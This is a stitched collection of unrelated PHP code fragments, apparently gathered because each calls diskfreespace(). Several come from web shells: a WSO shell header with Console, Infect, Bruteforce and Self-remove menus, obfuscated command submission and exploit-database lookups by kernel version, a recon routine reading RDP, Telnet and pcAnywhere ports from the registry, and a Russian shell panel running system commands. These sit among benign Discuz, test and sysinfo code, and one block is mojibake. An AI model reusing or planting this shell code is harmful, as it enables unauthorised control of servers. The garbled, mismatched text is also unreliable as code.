Info_Cfg("max_execution_time") . "秒"), array("被禁用的函数 disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array("图形处理 GD Library", Info_Fun("imageline")), array("IMAP电子邮件系统", Info_Fun("imap_close")), array("MySQL数据库", Info_Fun("mysql_close")), array("SyBase数据库", Info_Fun("sybase_close")), array("Oracle数据库", Info_Fun("ora_close")), array("Oracle 8 数据库", Info_Fun("OCILogOff")), array("PREL相容语法 PCRE", Info_Fun("preg_match")), array("PDF文档支持", Info_Fun("pdf_close")), array("Postgre SQL数据库", Info_Fun("pg_close")), array("SNMP网络管理协议", Info_Fun("snmpget")), array("压缩文件支持(Zlib)", Info_Fun("gzclose")), array("XML解析", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC数据库连接", Info_Fun("odbc_close")), array("Session支持", Info_Fun("session_start")), array("Socket支持", Info_Fun("fsockopen"))); echo '<table width="100%" border="0">'; for ($i = 0; $i < count($info); $i++) { echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n"; } echo '</table>'; return true; }
function hardHeader() { if (empty($_POST['charset'])) { $_POST['charset'] = $GLOBALS['▜']; } echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;background-color: #060A10;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #1e252f;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#1e252f;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#1e252f;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type='submit']{background-color:#2E6E9C;}\n\tinput[type='button']{background-color:#2E6E9C;}\n\tinput[type='submit']:hover{background-color:#56AD15;}\n\tinput[type='button']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#1e252f;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n if (req) {\n req.onreadystatechange = processReqChange;\n req.open('POST', url, true);\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n req.send(params);\n }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description='; if (strpos('Linux', $kernel) !== false) { $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . ' ' . substr($release, 0, 3)); } if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . '/'; } $cwd_links .= "\")'>" . $path[$i] . "/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach ($charsets as $▟) { $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>'; } $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network'); if (!empty($GLOBALS['▛'])) { $m['Logout'] = 'Logout'; } $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach ($m as $k => $v) { $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>'; } $drives = ""; if ($GLOBALS['os'] == 'win') { foreach (range('c', 'z') as $drive) { if (is_dir($drive . ':\\')) { $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> '; } } } /* (С) 08.2015 dmkcv */ echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>'; }
die('<meta http-equiv="refresh" content="1;URL=?eanver=main&path=' . $pp . '">'); } html_n("</td></tr></form>"); break; case "info_f": $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>"; if ($dis_func == "") { $dis_func = "No"; } else { $dis_func = str_replace(" ", "<br>", $dis_func); $dis_func = str_replace(",", "<br>", $dis_func); } $phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No"; $info = array(array("服务器时间", date("Y年m月d日 h:i:s", time())), array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("服务器IP地址", gethostbyname($_SERVER['SERVER_NAME'])), array("服务器操作系统", PHP_OS), array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']), array("你的IP", $_SERVER["REMOTE_ADDR"]), array("Web服务端口", $_SERVER['SERVER_PORT']), array("PHP运行方式", strtoupper(php_sapi_name())), array("PHP版本", PHP_VERSION), array("运行于安全模式", Info_Cfg("safemode")), array("服务器管理员", $adminmail), array("本文件路径", myaddress), array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")), array("允许使用curl_exec", Info_Fun("curl_exec")), array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")), array("显示错误信息 display_errors", Info_Cfg("display_errors")), array("自动定义全局变量 register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size", Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize", $upsize), array("程序最长运行时间 max_execution_time", Info_Cfg("max_execution_time") . "秒"), array("被禁用的函数 disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array("图形处理 GD Library", Info_Fun("imageline")), array("IMAP电子邮件系统", Info_Fun("imap_close")), array("MySQL数据库", Info_Fun("mysql_close")), array("SyBase数据库", Info_Fun("sybase_close")), array("Oracle数据库", Info_Fun("ora_close")), array("Oracle 8 数据库", Info_Fun("OCILogOff")), array("PREL相容语法 PCRE", Info_Fun("preg_match")), array("PDF文档支持", Info_Fun("pdf_close")), array("Postgre SQL数据库", Info_Fun("pg_close")), array("SNMP网络管理协议", Info_Fun("snmpget")), array("压缩文件支持(Zlib)", Info_Fun("gzclose")), array("XML解析", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC数据库连接", Info_Fun("odbc_close")), array("Session支持", Info_Fun("session_start")), array("Socket支持", Info_Fun("fsockopen"))); $shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host"); echo '<table width="100%" border="0">'; for ($i = 0; $i < count($info); $i++) { echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n"; } try { $registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber"); $Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort"); $PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort"); } catch (Exception $e) { } echo '<tr><td width="40%">Terminal Service端口为</td><td>' . $registry_proxystring . '</td></tr>' . "\n"; echo '<tr><td width="40%">Telnet端口为</td><td>' . $Telnet . '</td></tr>' . "\n"; echo '<tr><td width="40%">PcAnywhere端口为</td><td>' . $PcAnywhere . '</td></tr>' . "\n"; echo '</table>';
// milw0rm Search (locushell) $Lversion = @php_uname('r'); $OSV = @php_uname('s'); if (eregi('Linux', $OSV)) { $Lversion = substr($Lversion, 0, 6); $millink = "http://milw0rm.com/search.php?dong=Linux Kernel" . $Lversion; } else { $Lversion = substr($Lversion, 0, 3); $millink = "http://milw0rm.com/search.php?dong=" . $OSV . " " . $Lversion; } if (isset($_POST['milw0'])) { echo "<script>window.location='" . $millink . "'</script>"; } //Space $spacedir = @getcwd(); $free = @diskfreespace($spacedir); if (!$free) { $free = 0; } $all = @disk_total_space($spacedir); if (!$all) { $all = 0; } function view_size($size) { if ($size >= 1073741824) { $size = @round($size / 1073741824 * 100) / 100 . " GB"; } elseif ($size >= 1048576) { $size = @round($size / 1048576 * 100) / 100 . " MB"; } elseif ($size >= 1024) { $size = @round($size / 1024 * 100) / 100 . " KB";
array("运行于安全模式",Info_Cfg("safemode")), array("服务器管理员",$adminmail), array("本文件路径",myaddress), array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), array("允许使用curl_exec",Info_Fun("curl_exec")), array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), array("显示错误信息 display_errors",Info_Cfg("display_errors")), array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), array("允许最大上传文件 upload_max_filesize",$upsize), array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), array("被禁用的函数 disable_functions",$dis_func), array("phpinfo()",$phpinfo), array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), array("图形处理 GD Library",Info_Fun("imageline")), array("IMAP电子邮件系统",Info_Fun("imap_close")), array("MySQL数据库",Info_Fun("mysql_close")), array("SyBase数据库",Info_Fun("sybase_close")), array("Oracle数据库",Info_Fun("ora_close")), array("Oracle 8 数据库",Info_Fun("OCILogOff")), array("PREL相容语法 PCRE",Info_Fun("preg_match")), array("PDF文档支持",Info_Fun("pdf_close")), array("Postgre SQL数据库",Info_Fun("pg_close")), array("SNMP网络管理协议",Info_Fun("snmpget")), array("压缩文件支持(Zlib)",Info_Fun("gzclose")), array("XML解析",Info_Fun("xml_set_object")), array("FTP",Info_Fun("ftp_login")), array("ODBC数据库连接",Info_Fun("odbc_close")), array("Session支持",Info_Fun("session_start")),
function Info_f() { $dis_func = get_cfg_var("disable_functions"); $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "�������ϴ�"; $adminmail = isset($_SERVER['SERVER_ADMIN']) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>"; if ($dis_func == "") { $dis_func = "No"; } else { $dis_func = str_replace(" ", "<br>", $dis_func); $dis_func = str_replace(",", "<br>", $dis_func); } $phpinfo = !eregi("phpinfo", $dis_func) ? "Yes" : "No"; $info = array(array("������ʱ��/����ʱ��", date("Y��m��d�� h:i:s", time()) . " / " . gmdate("Y��n��j�� H:i:s", time() + 8 * 3600)), array("����������:�˿�(ip)", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>:" . $_SERVER['SERVER_PORT'] . " ( " . gethostbyname($_SERVER['SERVER_NAME']) . " )"), array("����������ϵͳ(���ֱ���)", PHP_OS . " (" . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . ")"), array("��������������", $_SERVER['SERVER_SOFTWARE']), array("����IP", getenv('REMOTE_ADDR')), array("PHP���з�ʽ(�汾)", strtoupper(php_sapi_name()) . "(" . PHP_VERSION . ") / ��ȫģʽ:" . Info_Cfg("safemode")), array("����������Ա", $adminmail), array("���ļ�·��", __FILE__), array("����ʹ��URL�����ļ�[allow_url_fopen]", Info_Cfg("allow_url_fopen")), array("������̬�������ӿ�[enable_dl]", Info_Cfg("enable_dl")), array("��ʾ������Ϣ[display_errors]", Info_Cfg("display_errors")), array("�Զ���ȫ�ֱ���[register_globals]", Info_Cfg("register_globals")), array("�Զ��ַ���ת��[magic_quotes_gpc]", Info_Cfg("magic_quotes_gpc")), array("�����ڴ�ʹ����[memory_limit]", Info_Cfg("memory_limit")), array("POST�����ֽ�[post_max_size]", Info_Cfg("post_max_size")), array("���������ϴ�[upload_max_filesize]", $upsize), array("���������ʱ��[max_execution_time]", Info_Cfg("max_execution_time") . "��"), array("���ú���[disable_functions]", $dis_func), array("������Ϣ����[phpinfo()]", $phpinfo), array("Ŀǰ���п����ռ�diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array("GZѹ���ļ�֧��[zlib]", Info_Fun("gzclose")), array("ZIPѹ���ļ�֧��[ZipArchive(php_zip)]", Info_Fun("zip_open")), array("IMAP�����ʼ�ϵͳ", Info_Fun("imap_close")), array("XML����", Info_Fun("xml_set_object")), array("FTP��½", Info_Fun("ftp_login")), array("Session֧��", Info_Fun("session_start")), array("Socket֧��", Info_Fun("fsockopen")), array("MySQL���ݿ�", Info_Fun("mysql_close")), array("MSSQL���ݿ�", Info_Fun("mssql_close")), array("Postgre SQL���ݿ�", Info_Fun("pg_close")), array("SQLite���ݿ�", Info_Fun("sqlite_close")), array("Oracle���ݿ�", Info_Fun("ora_close")), array("Oracle 8���ݿ�", Info_Fun("OCILogOff")), array("SyBase���ݿ�", Info_Fun("sybase_close")), array("Hyperwave���ݿ�", Info_Fun("hw_close")), array("InforMix���ݿ�", Info_Fun("ifx_close")), array("FilePro���ݿ�", Info_Fun("filepro_fieldcount")), array("DBA/DBM����", Info_Fun("dba_close") . " / " . Info_Fun("dbmclose")), array("ODBC/dBASE����", Info_Fun("odbc_close") . " / " . Info_Fun("dbase_close")), array("PREL�����[PCRE]", Info_Fun("preg_match")), array("PDF֧��", Info_Fun("pdf_close")), array("ͼ�δ���[GD Library]", Info_Fun("imageline")), array("SNMP��������Э��", Info_Fun("snmpget"))); echo '<table width="100%" border="0">'; for ($i = 0; $i < count($info); $i++) { echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n"; } echo '</table>'; return true; }
function output() { global $_G; if (defined('DISCUZ_OUTPUTED')) { return; } else { define('DISCUZ_OUTPUTED', 1); } if (!empty($_G['blockupdate'])) { block_updatecache($_G['blockupdate']['bid']); } $_G['domain'] = array(); foreach ($_G['config']['app']['domain'] as $app => $domain) { if ($domain || $_G['config']['app']['domain']['default']) { $domain = empty($domain) ? $_G['config']['app']['domain']['default'] : $domain; $_G['domain']['search'][$app] = "<a href=\"{$app}.php"; $_G['domain']['replace'][$app] = '<a href="http://' . $domain . $_G['siteroot'] . $app . '.php'; $_G['domain']['pregxp'][$app] = '<a href\\="http\\:\\/\\/(' . preg_quote($domain . $_G['siteroot'], '/') . ')' . preg_quote($app . '.php', '/'); } else { $_G['domain']['pregxp'][$app] = "<a href\\=\"(){$app}.php"; } } if ($_G['setting']['rewritestatus'] || $_G['domain']['search']) { $content = ob_get_contents(); $_G['domain']['search'] && ($content = str_replace($_G['domain']['search'], $_G['domain']['replace'], $content)); $_G['config']['app']['domain']['default'] && ($content = preg_replace("/<a href=\"([^\"]+)\"/e", "rewriteoutput('site_default', 0, '" . $_G['config']['app']['domain']['default'] . $_G['siteroot'] . "', '\\1')", $content)); if ($_G['setting']['rewritestatus'] && !defined('IN_MODCP') && !defined('IN_ADMINCP')) { $searcharray = $replacearray = array(); $array = rewritedata(); $content = preg_replace($array['search'], $array['replace'], $content); } ob_end_clean(); $_G['gzipcompress'] ? ob_start('ob_gzhandler') : ob_start(); echo $content; } if ($_G['setting']['ftp']['connid']) { @ftp_close($_G['setting']['ftp']['connid']); } $_G['setting']['ftp'] = array(); if (defined('CACHE_FILE') && CACHE_FILE && !defined('CACHE_FORBIDDEN')) { global $_G; if (diskfreespace(DISCUZ_ROOT . './' . $_G['setting']['cachethreaddir']) > 1000000) { if ($fp = @fopen(CACHE_FILE, 'w')) { flock($fp, LOCK_EX); fwrite($fp, empty($content) ? ob_get_contents() : $content); } @fclose($fp); chmod(CACHE_FILE, 0777); } } if (defined('DISCUZ_DEBUG') && DISCUZ_DEBUG && @(include libfile('function/debug'))) { function_exists('debugmessage') && debugmessage(); } }
<td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center"> Назад </td> <td onClick='location.href="{$PHP_SELF}"' width="20%" align="center"> В начало </td> <td onClick='location.href="{$PHP_SELF}?d={$d}&tools"' width="20%" align="center"> Инструменты </td> <td onClick='location.href="{$PHP_SELF}?d={$d}&show"' width="20%" align="center"> К списку </td> </tr> </table> EOF; $free = countbyte(diskfreespace("./")); if (!empty($free)) { echo "Доступное дисковое пространство : <font face='Tahoma' size='1' color='#000000'>{$free}</font><br>"; } $os = exec("uname"); if (!empty($os)) { echo "Система :" . $os . "<br>"; } if (!empty($REMOTE_ADDR)) { echo "Ваш IP: <font face='Tahoma' size='1' color='#000000'>{$REMOTE_ADDR} {$HTTP_X_FORWARDED_FOR}</font><br>"; } $ghz = exec("cat /proc/cpuinfo | grep GHz"); if (!empty($ghz)) { echo "Инфа о железе:(GHz)" . $ghz . "<br>"; } $mhz = exec("cat /proc/cpuinfo | grep MHz");
$j++; } echo "<a href=\"" . $surl . "act=ls&d=" . urlencode(htmlspecialchars($t)) . "/&sort=" . $sort . "\"><b>" . htmlspecialchars($b) . "/</b></a>"; $i++; } echo " "; if (is_writable($d)) { $wd = true; $wdt = "<font color=\"green\">[ ok ]</font>"; echo "<b><font color=\"green\">" . view_perms(fileperms($d)) . "</font></b>"; } else { $wd = false; $wdt = "<font color=\"red\">[ Read-Only ]</font>"; echo "<b><font color=\"red\">" . view_perms(fileperms($d . $f)) . "</font></b>"; } $free = diskfreespace($d); if (!$free) { $free = 0; } $all = disk_total_space($d); if (!$all) { $all = 0; } $used = $all - $free; $used_percent = round(100 / ($all / $free), 2); echo "<br><b>Free " . view_size($free) . " of " . view_size($all) . " (" . $used_percent . "%)</b><br>"; if (count($quicklaunch) > 0) { foreach ($quicklaunch as $item) { $item[1] = str_replace("%d", urlencode($d), $item[1]); $item[1] = str_replace("%upd", urlencode(realpath($d . "..")), $item[1]); echo "<a href=\"" . $item[1] . "\"><u>" . $item[0] . "</u></a> ";
* filesystem or disk partition */ $file_path = dirname(__FILE__); echo "*** Testing with a directory ***\n"; var_dump(disk_free_space($file_path . "/..")); var_dump(diskfreespace($file_path . "/..")); echo "\nTesting for the return type ***\n"; $return_value = disk_free_space($file_path); var_dump(is_float($return_value)); echo "\n*** Testing with different directory combinations ***"; $dir = "/disk_free_space"; mkdir($file_path . $dir); $dirs_arr = array(".", $file_path . $dir, $file_path . "/." . $dir, $file_path . "" . $dir . "/", $file_path . "/." . $dir . "/", $file_path . $dir . "//", $file_path . "/." . $dir . "//", $file_path . "/./" . $dir . "//", $file_path . $dir . chr(0), $file_path . "/." . $dir . chr(0), "." . chr(0) . $file_path . $dir, "." . chr(0) . $file_path . $dir . chr(0)); $count = 1; /* loop through to test each element the above array */ foreach ($dirs_arr as $dir1) { echo "\n-- Iteration {$count} --\n"; var_dump(disk_free_space($dir1)); var_dump(diskfreespace($dir1)); $count++; } echo "\n--- Done ---"; ?> <?php error_reporting(0); $file_path = dirname(__FILE__); rmdir($file_path . "/disk_free_space"); ?>
public static function getSysInfo() { $sys_info_array = array(); $sys_info_array['gmt_time'] = gmdate("Y年m月d日 H:i:s", time()); $sys_info_array['bj_time'] = gmdate("Y年m月d日 H:i:s", time() + 8 * 3600); $sys_info_array['server_ip'] = gethostbyname($_SERVER["SERVER_NAME"]); $sys_info_array['software'] = $_SERVER["SERVER_SOFTWARE"]; $sys_info_array['port'] = $_SERVER["SERVER_PORT"]; $sys_info_array['admin'] = $_SERVER["SERVER_ADMIN"]; $sys_info_array['diskfree'] = intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'; $sys_info_array['current_user'] = @get_current_user(); $sys_info_array['timezone'] = date_default_timezone_get(); $db = new Medoo(OSA_DB_ID); $mysql_version = $db->query("select version()")->fetchAll(); $sys_info_array['mysql_version'] = $mysql_version[0]['version()']; return $sys_info_array; }
